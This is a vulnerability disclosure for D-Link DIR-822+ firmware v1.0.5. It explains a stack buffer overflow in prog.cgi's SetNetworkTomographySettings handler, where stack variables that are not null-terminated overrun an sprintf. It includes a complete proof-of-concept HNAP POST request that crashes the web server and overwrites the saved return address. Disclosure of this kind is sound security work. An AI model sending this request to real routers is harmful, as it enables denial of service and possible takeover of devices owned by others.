Nuo Cheng
D-Link DIR-822+ v1.0.5 was discovered to contain a stack-based buffer overflow vulnerability in the SetNetworkTomographySettings module.
It’s located in prog.cgi, module SetNetworkTomographySettings, located in sub_42A814().
The data got from post package includes tomography_ping_address , tomography_ping_number, tomography_ping_size, tomography_ping_timeout, tomography_ping_ttl, and will be passed to v13, v12, v11, v10, v9.
Because the function doesn’t use "\\x00" characters to isolate the five variables in stack, it can be put together to cause a stack overflow in the sprintf .
As an example, v12 and v13 is adjacent in the stack, if v12 is "b"*32 and v13 is "a"*32, the the first "%s" in the format string which is expected to be converted to "b"*32, will be converted to "b"*32+"a"*32, as there is no “\x00” between v12 and v13 .
The same goes for the other three variables.
With a crafted input, the format string can be converted to a very long string and cause a stack overflow.
POC
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
SOAPACTION: "<http://purenetworks.com/HNAP1/SetNetworkTomographySettings>"
HNAP_AUTH: FD6C4EA3567CCAF59FE617FD1AF7EDB2 1714911006336
Content-Length: 491
Origin: <http://192.168.0.1>
Connection: close
Referer: <http://192.168.0.1/Diagnosis.html>
Cookie: uid=czHFvE1f; PrivateKey=BFCF5ACBE8ECE4DDE90D54C4D70FF6F1; work_mode=router; timeout=744
{"SetNetworkTomographySettings":{"tomography_ping_address":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","tomography_ping_number":"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb","tomography_ping_size":"cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc","tomography_ping_timeout":"dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd","tomography_ping_ttl":"eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee"}}
The process of prog.cgi got a crush and the web server returned http 500.
When using gdb to attach the process, you can see the return address saved in stack was covered to the data posted.